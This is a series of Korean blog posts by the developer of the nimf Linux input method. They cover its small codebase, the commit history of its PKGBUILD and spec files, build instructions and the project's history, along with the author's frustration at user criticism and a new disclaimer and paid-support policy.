Translate

2018년 7월 28일 토요일

꿈의 입력기 nimf 이야기 17화 - 적은 양의 소스코드

여러분 그거 아십니까?
nimf 는 매우 정교하게 설계되어 있어서 적은 양의 코드로도 많은 일을 합니다.
타 입력기 대비하여 소스코드가 매우 적습니다.

현재 nimf 는 20,949줄입니다.
언어 엔진이 일본어 1개, 한국어 1개, 중국어 2개, 시스템 1개 총 5개의 언어 엔진을 탑재하고 있습니다.

hodong@debian:~/nimf$ cloc .
     163 text files.
     159 unique files.                                         
      47 files ignored.

github.com/AlDanial/cloc v 1.70  T=1.30 s (89.8 files/s, 21418.2 lines/s)
-----------------------------------------------------------------------------------
Language                         files          blank        comment           code
-----------------------------------------------------------------------------------
C                                   45           3529           1707          17107
C/C++ Header                        29            456            750           1970
C++                                  2            147             58            664
make                                28            171             11            621
XML                                  9              0              0            367
m4                                   1             57             50            170
Bourne Shell                         1              9              1             37
Windows Resource File                1              1              0             10
JSON                                 1              0              0              3
-----------------------------------------------------------------------------------
SUM:                               117           4370           2577          20949
-----------------------------------------------------------------------------------


타 입력기들은 언어 엔진이 많죠? 그래서 공정하지 않은 비교일 수도 있습니다.
그런데 !!!!!
텔레그램에 nimf 로 입력하기 위해서는 nimf 를 Qt 와 정적으로 컴파일해야 합니다.
그래서 입력기 소스코드를 텔레그램에 넣어서 컴파일하는 과정을 거쳐야 하는데,
타 입력기들은 수만줄의 소스코드를 텔레그램에 넣고 컴파일하는 반면,
nimf 는 약 2천2백줄의 소스코드를 텔레그램에 넣고 컴파일하면 된답니다.

hodong@debian:~/nimf/libnimf$ cloc client *.c *.h
      19 text files.
      19 unique files.                             
       0 files ignored.

github.com/AlDanial/cloc v 1.70  T=0.13 s (151.9 files/s, 24249.6 lines/s)
-------------------------------------------------------------------------------
Language                     files          blank        comment           code
-------------------------------------------------------------------------------
C                                9            335            189           1618
C/C++ Header                    10            133            180            578
-------------------------------------------------------------------------------
SUM:                            19            468            369           2196
-------------------------------------------------------------------------------


nimf 가 얼마나 정교하게 설계되었는지 짐작이 가시죠!

2018년 7월 24일 화요일

꿈의 입력기 nimf 이야기 16화 - spec files

fedora.spec, opensuse.spec 파일은 다른 분이 작업한 nimf spec 파일을 참고한 것이 아니라 nimf 원저자 본인이 2016년 8월 1일에 추가한 fedora.spec 파일을 토대로 작성하였습니다. 입증 완료!!

commit e47895086f8c78203bbeb851fa2318a3a96c2cde
Author: Hodong Kim <cogniti@gmail.com>
Date:   Tue Jul 24 23:18:10 2018 +0900

    fedora.spec 다시 추가합니다
  
    이 파일은 원래 2016년 8월 1일에 추가된 파일입니다.
    다른 분이 작업한 nimf spec 을 참조하여 작성한 것이 아니라
    nimf 원저자 본인 스스로 레드햇, 페도라 패키지 제작 관련 문서를 참조하여
    작성하였음을 알립니다.
  
    From 278264daa68e713d901dda3daf549193013f7d8e Mon Sep 17 00:00:00 2001
    From: Hodong Kim <cogniti@gmail.com>
    Date: Mon, 1 Aug 2016 10:19:22 +0900
    Subject: [PATCH] Added fedora-specific files
  
    https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html-single/rpm_packaging_guide/index
  
    https://fedoraproject.org/wiki/Packaging:Alternatives
  
    https://docs-old.fedoraproject.org/en-US/Fedora_Draft_Documentation/0.1/html-single/RPM_Guide/index.html#id366540

    https://fedoraproject.org/wiki/Packaging:SourceURL
  
    등의 레드햇 또는 페도라에서 제공하는 문서를 참조하여 작성하였습니다.
    페도라에 맞는 패키지를 만드는 것이기 때문에 페도라에서 요구하는 규격에
    맞추었습니다.

commit e5cd1b26c2541032e1d7222cfcf10df4b08a9462
Author: Hodong Kim <cogniti@gmail.com>
Date:   Tue Jul 24 23:31:26 2018 +0900

    opensuse.spec 다시 추가합니다.
   
    이 파일은 fedora.spec 에 있는 fedora 패키지를 opensuse 패키지로 변경하여
    nimf 원저자 본인이 작성한 것입니다.
   
    토대가 되는 fedora.spec 파일은 2016년 8월 1일 최초 커밋되었습니다.
   
    From 278264daa68e713d901dda3daf549193013f7d8e Mon Sep 17 00:00:00 2001
    From: Hodong Kim <cogniti@gmail.com>
    Date: Mon, 1 Aug 2016 10:19:22 +0900
    Subject: [PATCH] Added fedora-specific files

꿈의 입력기 nimf 이야기 15화 - PKGBUILD

dasom 원저자이자, nimf 원저자인 김호동 본인이 자신의 창작물을 토대로 PKGBUILD 파일을 작성하였음을 입증합니다.
어떻게 PKGBUILD 파일을 작성했는지에 대한 수정 내역을 잘게 쪼개서 commit 했습니다.
PKGBUILD 에 저작권 정보를 넣는다는게 참 웃긴 일이긴 한데,
그럴 만한 이유가 있으니 비웃지는 말아주세요.

2018.07.25 내용 추가
nimf 프로젝트의 다른 파일들과는 달리, 이제 PKGBUILD 파일은 저작권이 없습니다. 이제 PKGBUILD 는 퍼블릭 도메인에 있습니다.

commit c6fd358553d814a0f912d9454c896ba492e02633
Author: Hodong Kim <cogniti@gmail.com>
Date:   Wed Jul 25 23:20:57 2018 +0900

    Now this PKGBUILD file is in the public domain

커밋 내역은 아래 보시면 되겠습니다.
제가 잠도 못자고 너무 피곤해서 로그를 복사 / 붙여넣기 하면서 누락된게 있을지도 모르겠습니다.

자세한 내역은

https://gitlab.com/nimf-i18n/nimf/commits/master

에 있으니 확인하시기 바랍니다.

commit 90c68ab13b44ee8c46d281763f833654aed429b3
Author: Hodong Kim <cogniti@gmail.com>
Date:   Sun Jul 22 20:58:09 2018 +0900

    I wrote these files myself. But I delete these files because there is misunderstanding.

commit 49e4662d07645de9a5f7bca1a3452d461eaa5df8
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 00:19:37 2018 +0900

    아치리눅스 사이트에서 예제파일 PKGBUILD.proto 을 가져옵니다.
   
    예제 파일 주소는 다음과 같씁니다.
    https://git.archlinux.org/pacman.git/plain/proto/PKGBUILD.proto

commit e7f558cd30105d4819e10927aaf5e671d765eeb2
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 00:24:47 2018 +0900

    파일이름을 PKGBUILD.proto 에서 PKGBUILD 로 변경합니다.

commit 7c85452b67e22e894f60bff796b5221910233736
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:12:52 2018 +0900

    주석문 삭제, 저작권 정보 추가, pkgname, license 정보 추가합니다
   
    아치리눅스 nimf-git AUR 에 올릴 것이 아니기 때문에
   
    pkgname=nimf 로 합니다.
   
    Copyright (C) 2018 Hodong Kim <cogniti@gmail.com>
   
    김호동 본인이 작성한 파일이기 때문에 김호동이 저작권을 보유합니다.
    파일 진위 여부 및 미래에 발생될 수 있는 문제에 대비하기 위해 저작권 정보를
    넣습니다.
   
    license=('LGPL3')

commit 040f622ad3b29e2b04ef8e4be1f3db93f26b9bad
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:27:12 2018 +0900

    pkgver 을 master 로 변경합니다.
   
    pkgver 은 pkgver() 함수로부터 변경될 수 있습니다.
   
    https://wiki.archlinux.org/index.php/PKGBUILD
    makepkg can automatically update this variable by defining a pkgver()
    function in the PKGBUILD.

commit 1b26ceb61c56b69512c2dcb71a0be3dbf5f49b85
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:29:58 2018 +0900

    epoch= 삭제합니다.
   
    https://wiki.archlinux.org/index.php/PKGBUILD 설명에 따르면
   
    When a new version of the software is released, this value must be reset
    to 1. 신버전이 릴리즈될 때, 1 이어야 한다고 되어 있습니다.
    그래서 pkgrel=1 로 그대로 둡니다.
   
    epoch= 는
    설명에 따르면
    pkgver=5.13
    pkgrel=2
    epoch=1
   
    1:5.13-2
    이런식으로 되는 건데 epoch 는 사용할 일이 없으므로 삭제합니다.

commit 130c6198e9191f86a0ea90580e52aabc72165e0e
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:33:56 2018 +0900

    pkgdesc="Nimf is an input method framework."
   
    제가 nimf 원저자입니다. 저 문구를 제가 만들었습니다.

commit 241cce44d0a89b0906238d83e252f493d4b715ac
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:37:46 2018 +0900

    arch=('any') 로 합니다.
   
    nimf 는 x86_64, i686, arm 에서도 컴파일이 가능합니다.
    https://wiki.archlinux.org/index.php/PKGBUILD 에 따르면
   
    If a package is architecture-independent in its compiled state (shell
    scripts, fonts, themes, many types of extensions, etc.) then use
    arch=('any'). 이렇게 설명되어 있지만,
    arch 를 특정하기 애매하므로 any 로 합니다.

commit c94b9b0cc29f3cb70c39677fdbcef0db7dfa27dd
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:39:57 2018 +0900

    url="https://gitlab.com/nimf-i18n/nimf"

commit 3f63dd97f1555aa3b4d482c383ecda4ace5e1296
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:41:28 2018 +0900

    groups=() 삭제합니다.
   
    groups=() 항목이 없어도 작동하는데 지장이 없습니다.
    작성하기 귀찮으므로 삭제합니다.

commit 7151baa707ea0a54f796e8c79b46b66180434a4a
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:46:28 2018 +0900

    checkdepends=() 삭제합니다.
   
    사용할 일이 없습니다

commit bce5cabc547a7b63ce658b39f1d708d37f74cfe5
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:49:55 2018 +0900

    순서를 변경합니다
   
    makedepends=()
    depends=()
    optdepends=()
   
    이런 순서가 되도록 변경합니다.
    변경하지 않아도 작동에는 상관이 없지만,
    저는 제가 작성한 debian/control 파일을 참고하여 만들 것이기 때문에
    debian/control 에 나오는 순서대로 변경합니다

commit 9624ecffe7c81d97009a2bdd7cb926075eacbba3
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:52:21 2018 +0900

    makedepends 를 작성합니다.
   
    debian/control 파일내에 Build-Depends 에 대응합니다.
   
    Source: nimf
    Section: utils
    Priority: optional
    Maintainer: Hodong Kim <cogniti@gmail.com>
    Build-Depends: debhelper (>= 9),
                   dh-autoreconf,
                   libglib2.0-dev,
                   pkg-config,
                   intltool (>= 0.50.1),
                   libgtk-3-dev,
                   libgtk-3-bin,
                   libgtk2.0-dev,
                   libqt4-dev,
                   qtbase5-dev,
                   qtbase5-private-dev,
                   libappindicator3-dev,
                   librsvg2-bin,
                   fonts-noto-cjk,
                   libhangul-dev,
                   libanthy-dev,
                   anthy,
                   libchewing3-dev,
                   librime-dev (>= 1.2.9),
                   libxkbcommon-dev (>= 0.5.0),
                   libwayland-dev,
                   wayland-protocols,
                   libaudit-dev
   
    대응되는 아치리눅스 패키지 이름은 https://www.archlinux.org/packages/ 에서 찾을
    수 있습니다.

commit 6ff7b42e07f41b3370d6a08a1c3347d81db84fc9
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 21:57:11 2018 +0900

    depends 를 작성합니다.
   
    여기에 들어갈 내용은
    제가 작성한 configure.ac 파일과
    제가 작성한 debian/control
    제가 지금 작성하고 있는 PKGBUILD 파일 내에 makedepends 내에 있습니다.
    작업의 편의상 makedepends 에 있는 내용 중에, 컴파일할 때만 필요한
    패키지를 없앱니다. 그렇게 하면 실행할 때 필요한 것만 남습니다.
    제가 nimf 원저자입니다.
    nimf 는 제가 만들었고 nimf 가 필요로 하는 라이브러리를
    원저자인 제가 당연히 알고 있습니다.  제가 최초로 작성한 것입니다.

commit 8998e4a7032d4c49527903a7029f079bbf701dfd
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:09:24 2018 +0900

    optdepends 내용 추가합니다.
   
    https://wiki.archlinux.org/index.php/PKGBUILD 문서에 따르면
   
    optdepends=('cups: printing support'
                'sane: scanners support'
                'libgphoto2: digital cameras support'
                'alsa-lib: sound support'
                'giflib: GIF images support'
                'libjpeg: JPEG images support'
                'libpng: PNG images support')
   
    이런 식으로 작성하라고 나와 있습니다.
   
    debian/control 에서 Recommends, Suggests 항목에 대응합니다.
    없어도 nimf 가 작동하는데, 있으면 좋은 패키지입니다.
   
    optdepends=('brise: Rime schema repository'
                'noto-fonts-cjk: Google Noto CJK fonts'
                'xorg-setxkbmap: Set the keyboard using the X Keyboard
    Extension')
    그래서 이렇게 작성을 했습니다.
    brise 패키지는 GPL 라이선스이기 때문에 depends 에 넣으면 안 됩니다.
    nimf 는 LGPL 라이선스이며 brise 없어도 작동합니다.
    gnome-tweaks (gnome-tweak-tool) 가 debian/control 에 있지만,
    nimf-libhangul 에 xkb 옵션을 설정할 수 있는 기능이 있으므로,
    gnome-tweaks 는 필요하지 않습니다.
    제가 깜박하고 debian/control 에서 gnome-tweak-tool 을 삭제하지 않았네요.

commit b5a35acabea66fbfe7071d1d16952928c31b4709
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:31:01 2018 +0900

    provides=() conflicts=() replaces=() backup=() options=() install= changelog= 삭제합니다.
   
    provides=()
    conflicts=()
    replaces=()
    backup=()
    options=()
    install=
    changelog=
    없어도 작동합니다. 있으면 업데이트할 때 번거롭기 때문에 삭제합니다.

commit 81d7cabffff25f8e4c6345da4b526079d469e35f
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:33:32 2018 +0900

    source 주소를 설정합니다.
   
    source=("https://gitlab.com/nimf-i18n/nimf/-/archive/master/nimf-master.tar.bz2")

commit 1658804af98fcce5dfd313ed376a33336346ede5
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:35:25 2018 +0900

    extract=() 삭제합니다.

commit d107d97c3714cad7ac03eb0c8738de3efa89ba27
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:37:09 2018 +0900

    md5sums=('SKIP') 체크하지 않습니다.
   
    https://gitlab.com/nimf-i18n/nimf/-/archive/master/nimf-master.tar.bz2
    이 파일은 최신 파일입니다. commit 할 때마다 변경됩니다.
    저는 pkgver 의 버전을 특정하지 않았습니다.
    pkgver 을 특정하면 nimf 를 업데이트할 때마다 PKGBUILD 업데이트해야
    하는데 매우 번거롭기 때문에 pkgver 을 특정하지 않습니다.
    그래서 다이제스트를 스킵합니다.

commit db7494507a1621d05be9fa7b9fa5992bccbd18dc
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:40:16 2018 +0900

    validpgpkeys=() 불필요하여 삭제합니다.

commit 6eca529bb7613fbc849470f7c056a9ae40cdf692
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:42:21 2018 +0900

    pkgver() 추가합니다. 패키지 버전을 동적으로 업데이트 합니다.
   
    https://wiki.archlinux.org/index.php/PKGBUILD 에 따르면
   
    makepkg can automatically update this variable by defining a pkgver()
    function in the PKGBUILD.
    pkgver() 으로 자동으로 pkgver 변수를 업데이트할 수 있다고 나와 있습니다.
   
    grep AC_INIT configure.ac | grep -Po '\d{4}.\d{2}.\d{2}'
   
    정규표현식으로 패키지 버전을 grep 합니다.
    2018.07.20 이런 형식이 grep 됩니다.

commit b49e9ea08fea192b4329c86d5b0579a0fc9897ba
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:47:01 2018 +0900

    prepare() 불필요하여 삭제합니다.

commit feb20a6dd2dc11a8284613e39c440752d7f42264
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:50:20 2018 +0900

    build() 를 작성합니다.
   
    제가 nimf 원저자이고 제가 작성한 nimf/README 파일에 나와 있습니다.

commit aa2d29b63b5cca4d488bf65c33051ada076bd7c2
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:52:33 2018 +0900

    check() 불필요하여 삭제합니다.

commit 5055bc706728252fb6aff7af7d9b90c680c84a9f
Author: Hodong Kim <cogniti@gmail.com>
Date:   Mon Jul 23 23:54:21 2018 +0900

    package() 작성합니다.
   
    제가 nimf 원저자이며 제가 작성한 nimf/README, Makefile.am 에 나와
    있습니다.

commit 15291a7174e416f6a05e6b83bf11919b25c095b5
Author: Hodong Kim <cogniti@gmail.com>
Date:   Tue Jul 24 00:02:50 2018 +0900

    저작권, 라이선스 정보 추가합니다.
   
    본 PKGBUILD 파일은
    dasom 의 원저자이자 nimf 의 원저자인 김호동이 자신의 창작물을 토대로
    https://wiki.archlinux.org/index.php/PKGBUILD 형식에 맞추어
    작성한 파일입니다.
    본 PKGBUILD 파일에 대한 저작권이 김호동에게 있습니다.

2018년 7월 23일 월요일

꿈의 입력기 nimf 이야기 14화 - 리눅스 배포판을 차별하지 않습니다

제 불찰로 인하여 불미스런 일이 발생하였습니다.
각 커뮤니티 분들에게 죄송하다는 말씀을 드립니다.
기존에 아치리눅스, 페도라 커뮤니티에 패키징을 담당하는 분이 계셨습니다.
저는 그분들이 작성한 파일을 토대로 작성한 것이 아니고,
본인 스스로 PKGBUILD, fedora.spec, opensuse.spec 파일을 작성하였습니다.
그 파일을 작성할 당시 오해의 소지가 있을 거란 예상은 하지 못했습니다.
아무튼 변명이고요, 기분을 상하게 하여 대단히 죄송합니다.
오해의 소지가 있는 PKGBUILD, fedora.spec, opensuse.spec 파일을 모두 삭제하였습니다.
그로 인하여 아치리눅스 AUR, 페도라, 오픈수세 패키지를 다운받으실 수 없게 되었습니다.
사용 못하게 하려고 일부러 그런 것이 아니니 오해 없으시기 바랍니다.

다만, 데비안/우분투 debian/* 파일들은 프로젝트 초기부터 제가 제공해왔던 것이라
오해의 소지가 없다고 판단하여 그냥 두었고 우분투 PPA 도 삭제하지 않았습니다.

제가 특정 리눅스 배포판을 차별하는 것이 아닙니다.
그리고 nimf 는 리눅스용 입력기이기 때문에 배포판 패키지가 없다고 하여도
일반적인 방법으로 nimf 를 컴파일하여 사용하실 수 있습니다.

im-config 을 사용하는 배포판의 경우,

  ./autogen.sh --with-im-config-data

im-config 을 사용하지 않는 배포판의 경우,

  ./autogen.sh

아래는 모든 배포판 동일합니다.

  make
  sudo make install
  sudo ldconfig
  sudo make update-gtk-im-cache
  sudo make update-gtk-icon-cache


빠른 시일 내에 본인 스스로 작성하고 있다는 것을 검증하는 과정과 함께

PKGBUILD, fedora.spec, opensuse.spec

파일들을 다시 제공해 드리겠습니다.

이용에 불편을 끼쳐드려 대단히 죄송합니다.

2018년 7월 22일 일요일

꿈의 입력기 nimf 이야기 13화 - 파업

내가 무슨 연예인도 아니고..
안티에.. 악플에..
연예인은 돈이라도 벌지..
이건 뭐... 시간 손실, 금전 손실에...
정신적인 고통까지 감내해야 하나..
이제와서 그만둘 수도 없고.. 참..
기분 상하는 일이라도 없어야 하는데..
최근 한 달 간 손해본 금액이 200만원쯤 되는데..
아니 돈을 모아야 4k 용 컴퓨터를 구입해서
HiDPI 버그를 해결할 수 있는데,
손실이 꾸준히 생기니 돈을 모을 틈도 없고..
매일 잠도 제대로 못 자서 피곤하고..
오늘은 출근해서 졸면서 일해야겠네..
나도 남들처럼 퇴근 후에 쉬고,
주말엔 잠 좀 푹자고 싶은데...
그러지 못한지가 벌써 4년째...
이건 직장 스트레스보다 더 심해!!
최근 한 달 간 200만원의 손해를 보면서
업데이트를 해온 건데...
게다가 수년간 무상으로 배포하고 있잖아!!
고마운 줄 알아야지...
어휴 내 팔자야...
파업해야지 ㅋㅋㅋㅋㅋㅋㅋㅋ

꿈의 입력기 nimf 이야기 12화 - nimf 의 역사

과거에 홈페이지를 드루팔로 만들었었는데, 관리를 잘못해서 데이터를 모두 날려먹었습니다.
그 후 다시 blogger 를 사용하고 있습니다.
세월이 몇 년 지나니 기억이 가물가물하여 웹 어카이브를 찾아보았습니다.
제가 작성한 글이 약간 남아 있더군요.
nimf 입력기의 역사에 대해 말씀드리고자 합니다.
리눅스에 악명 높은 끝글자 버그로 아주 고통받던 중 끝글자 버그를 잡아보려고 시도했습니다.
처음에 gtk 를 의심하여 gtk 소스를 확인해보았는데, 문제가 ibus 더군요.
ibus 끝글자 버그 잡다가 ibus 구조상 입력기를 새로 만드는게 낫다고 판단하여

https://github.com/ibus/ibus/issues/1282#issuecomment-104839603
https://code.google.com/archive/p/ibus/issues/1264

2015-01 모듈 방식으로 설계 착수
2015-02-02  모두(Modu) 입력기 개발 착수
클라이언트-서버 모듈 방식으로 재설계하여
2015-05-23 다솜(dasom) 으로 개명
2015-10-09 다솜 릴리즈
2015-12-29 다솜에서 님프(nimf)로 갈라짐
2016-04-26 님프 릴리즈
(...중략...)
2018.07.20 버전까지 나온 상태입니다.

그 결과 끝글자 문제 없이 아주 쾌적하게 입력할 수 있으며
처절한 테스트를 거쳐 버그가 거의 없습니다.
dasom 때부터 지금까지 LGPL 라이선스이고,
필요한 비용과 시간을 본인 스스로 부담하여(자비로) 개발하였습니다.
처음부터 현재까지 소스코드, 패키지를 무상으로 제공하고 있습니다.
nimf 프로젝트는 현재 수익이 없는 프로젝트이고,
개발자가 nimf 개발하여 밥먹고 사는 사람이 아닙니다.
따라서 개인 사정에 따라 개발/유지보수가 지연될 수 있으며,
사용자분의 요청/요구 사항을 거부할 수 있습니다.
그런데, 사실상 거부하기 어려운 이유가 있는데,
만약 거부하면 커뮤니티 게시판이나 공개된 웹사이트에 저를 원망하거나 비난하거나 음해를 한다는 것입니다. 이러한 일 꾸준히 있어 왔습니다. 제가 트라우마가 생겼습니다.

아마 다솜이라는 이름을 지금도 사용했더라면

개발자가 한국인이고 다솜(dasom)을 한국 사람이 가장 많이 사용할텐데 설명이 영어로 되어 있습니다. 아... 그래요? 빨리 시정되어야 할텐데 큰일이네요.
제가 인지하지 못하는 곳에서 지금까지도 욕먹고 있겠죠.

개발자에게 스토커짓을 하거나 군대처럼... 어쩌구 저쩌구...

저런 내용의 글을 커뮤니티 게시판에 떡하니 써놓질 않나...
그 글은 삭제되어 현재 찾을 수가 없습니다.

그래서 많은 고민 끝에 다솜(dasom)에서 님프(nimf)로 이름을 2015년 12월 개명했습니다.

nimf 로 개명한 후에는 페도라를 지원해달라는 이슈가 있었는데...
nimf 는 리눅스 입력기이기 때문에 이미 페도라를 지원합니다.
그래서 뭔가 안되나 싶어서 가상머신에 페도라를 설치해서 테스트해보니 잘 됩니다.
나중엔 오픈수세에서 안 된다고 해서 해보니 잘 됩니다.
안 되는 이유가 뭐였냐면, debian 계열과 fedora 계열에 입력기 설정하는 부분이 달라서 안 되었던 것입니다. 간단히 말해서 fedora 패키지를 만들어 달라는 얘기죠.
테스트에 시간 소비가 너무 많아서 이슈를 잠가버렸습니다.
그 일 없었으면 특근해서 약 20만원을 벌 수 있었을텐데, 손실이 생겨버린 겁니다.
좀 이상한 느낌이 들어서 커뮤니티 게시판에 가보니 불만을 써놓으셨더군요.
왜 이런 일이 발생할까요? 제가 잘못한건가요?
부적절한 이슈로 인하여 20만원의 직접적인 금전 손실이 발생했는데 기분 나쁘고 화내야 할 사람은 저이고, 패키지 제공은 의무사항이 아닙니다.
무상 개발, 무상 유지보수, 무상 서비스를 당연하다고 생각하기 때문에 이러한 일이 발생하는 것입니다.

올해 올라온 일본어 관련 이슈를 보면 참 어이가 없는게,
타 프로그램을 nimf 에 넣어서 패키지 해달라는 것도 있었습니다.

여러분들의 경우 이런 상황이면 어떤 선택을 하시겠습니까?
개발 및 유지보수를 계속 하실 수 있겠어요?

제 돈과 시간을 들여서 개발했는데 제가 정신적인 고통까지 겪어야 되겠습니까?

여러분들 외국인 개발자한테는 안 그러시잖아요.
그냥 제가 만만하니까 저한테 이러시는거 저도 알아요.

그래서 저는 제 자신을 보호할 장치를 찾아보았고,
그것은 면책 조항과 서비스 유료화임을 깨달았습니다.
그래서 서비스 유료화를 선언했더니,
아치리눅스 위키에 nimf 프로젝트가 완전히 중단되었다고 허위사실을 써놓지 않나,
공개된 게시판에 제 욕을 하고 AUR nimf-git 를 버리셨더군요.
그래서 그걸 제가 주서다가 파일을 새로 작성하여 올렸습니다.
기존 파일을 참고하여 업데이트하는 수준이 아니라, 아치리눅스 설명 따라서 그냥 새로 작성했습니다. 그 결과 당연히 파일 안에 있던 Contributor 항목이 삭제되었습니다.
그거 삭제되었다고 넣어달라고 이메일 오고 블로그에 악플 달리고 그러네요.
그런데, PKGBUILD 파일은 Makefile 같은 성격의 파일이에요.
파일 내부에 Contributor 를 넣는게 일반적이지 않답니다.
그걸 넣기 시작하면 파일이 Contributor 로 도배된답 말입니다.
제가 작성한 PKGBUILD 파일은 기존에 있던 걸 베끼거나 참고한게 아닙니다.
그래서 원칙적으로 따지자면 넣지 않는게 맞답니다.
그 내용이 이미 여기에 있답니다.

https://gitlab.com/nimf-i18n/nimf/blob/master/debian/control

제가 작성한 파일을 보고 만든게 PKGBUILD 입니다.
애초부터 PKGBUILD 파일은 제가 작성한 파일을 토대로 만들어진 겁니다.

https://github.com/dasom-im/dasom/issues/1

이건 뭐... 주객이 전도되어 오히려 저한테... 뭐라하는데 참.. 어이가 없습니다.

그리고 PKGBUILD 파일을 1년 이상 업데이트 안 하다가 공개된 게시판에 제 욕하고 버렸는데... 그걸 제가 살려놓은 거에요. 기분도 많이 상하고 아무말도 안 하고 참고 있었는데...
블로그에 악플까지 달리니 원..

3년 이상을 제 시간, 제 돈을 투입하여 개발해오고 있고,
소스코드, 패키지를 무상으로 제공해왔는데
제가 무슨 죄가 있다고 욕을 먹고 정신적으로 고통을 겪어야 하나요?
님들 외국인 개발자들에게는 안 그러시잖아요.

도대체 저한테 왜 그러는 거에요?

그래서 저를 보호할 수 있는 장치를 만들었습니다.
그것은 바로 면책 조항과 서비스 유료화입니다.
이렇게 하면 nimf 가 오픈소스가 아니다고 허위 사실 유포하는 사람들이 생겨나겠죠.
그러지 맙시다. 왜 자꾸 저와 싸우려고 하십니까?
저는 지금까지 제 시간과 제 돈을 투입하여 개발해왔고 무상으로 제공하고 있습니다.
오픈소스는 개발 및 유지보수의 의무가 없으며, 요청을 거부할 수 있습니다.
돈받아서 개발하여 오픈소스로 푸는 것도 오픈소스가 맞습니다.
GNOME, 파이어폭스는 돈받아서 개발하여 오픈소스로 풀고 있습니다.
그리고 nimf 에 대한 서비스 유료화는 제가 돈을 벌고 싶어서 그러는것이 아니라,

불특정 다수로부터 제 자신을 보호하기 위한 목적으로
서비스 유료화를 하는 것입니다.

그리고 입력기라는게 상업적인 가치가 없어서 돈을 벌 수 없다는 것도 알고 있습니다.
서비스를 유료화해도 아무도 서비스를 구입하지 않는다는 걸 알아요!!!!
그러면 어떤 이득이 있느냐?
사용자분들이 저에게 말도 안 되는 요구를 할 수 없게 되는거죠.

말도 안 되는 요구를 하면,
"그래요? 그럼, 돈 내세요."

딱 이렇게 되는거거든요.


# 면책 조항

nimf 는 오픈소스 소프트웨어입니다. 
nimf 개발자는 개발 및 유지보수에 대해 어떠한 의무도 없고 어떠한 책임도 없습니다. 
어떠한 경우에도 보증하지 않습니다. 도덕적, 도의적 보증 책임 또한 없습니다. 
nimf 프로젝트는 여러분들의 고객 센터가 아닙니다. 
자신의 뜻대로 되지 않는다 하여 

* 사람들이 많이 방문하는 커뮤니티 게시판에 개발자를 욕(비난)하거나
* 욕보이는(음해하는) 글을 작성하거나
* 허위 사실을 공표하는

등의 행위를 삼가시기 바랍니다. 
자신의 뜻대로 하고 싶은 분들은 nimf 개발 및 유지보수 계약을 체결하시기 바랍니다. 
nimf 개발 및 유지보수 계약에 대한 기본 조건은 다음과 같습니다. 

* 유상으로 작성한 코드에 대한 저작권은 협의에 따라 개발자 또는 돈 주신 분이 소유합니다. 
* 그리고 그 코드는 nimf 가 현재 채택하고 있는 오픈소스 라이선스로 공개됩니다.

nimf 프로젝트를 고객센터라고 여기지 말고, 
nimf 를 함께 가꾸어간다는 생각으로 접근해 주시길 바랍니다. 


아래는 nimf 역사에 대한 참고 자료
---------------------------------------------------------

악명 높은 끝글자 버그를 고칩시다-1


글쓴이: hodong / 작성시간: 일, 2014-12-28 23:17

지인들과 리눅스에 대해 이야기하는 일이 종종 있었는데, 지인들이 리눅스 사용에 대해 큰 호감을 가지고 있었습니다.
사무실 컴퓨터를 리눅스 컴퓨터로 교체하는 것에 대해 제게 문의를 하곤 했었는데,
제가 말렸습니다.
왜냐고요?
리눅스를 사용할 때 겪게 되는 아주 악명높은 끝글자 버그 때문입니다.

자세한 내용은 이곳 참고
https://kldp.org/node/93540
https://kldp.org/node/141357
(..중략..)

악명 높은 끝글자 버그를 고칩시다-2


글쓴이: hodong / 작성시간: 월, 2014-12-29 21:07

gedit에 한글을 쓰다가 마우스를 클릭하면 조합 중인 글자(pre-edit text)가 마우스를 따라가서 엉뚱한 곳에 달라붙는 끝글자 버그가 있는데 gedit는 gtktextview를 사용합니다.
그래서 gtktextview.c 소스를 살펴보았습니다.

키를 누를 때 실행되는 함수
(...중략...)

ibus 끝글자 버그를 고칩시다-3

글쓴이: hodong / 작성시간: 토, 2015-01-24 22:54

오늘 ibus, ibus-hangul 프로젝트에 보낼 패치 작성을 완료했고 ibus 프로젝트에는 패치를 보냈습니다. https://github.com/ibus/ibus/pull/15
이 패치가 수용된다면 ibus에 추가된 속성을 이용하는 패치를 ibus-hangul 프로젝트에 또 보내야 합니다. 벌써 다 만들어놓았죠. 끝글자 버그 잡기를 2014년 12월 28일부터 시작해서 2015년 1월 24일 완료되었네요. 총 28일 걸렸군요. 그동안 잘 쉬지도 못하고 잠도 제대로 못자서 참 힘들었었습니다. 이제 푹 잘 수 있겠군요. 끝글자 버그 잡으면서 주말 알바 못 나가서 발생한 손실액이 17만원 정도 되는군요. 그래도 이렇게 웹 브라우저에 글쓰면서 습관처럼 누르던 컨트롤키를 이제는 안 눌러도 되니 마음이 한결 편안해지는군요.
(...중략...)

다국어 입력기 프레임워크 모두Modu를 시작합니다.

글쓴이: hodong / 작성시간: 월, 2015-02-02 06:36

    2015.6.11 내용 추가
    프로젝트 이름을 '모두'에서 '다솜'으로 변경하였습니다.
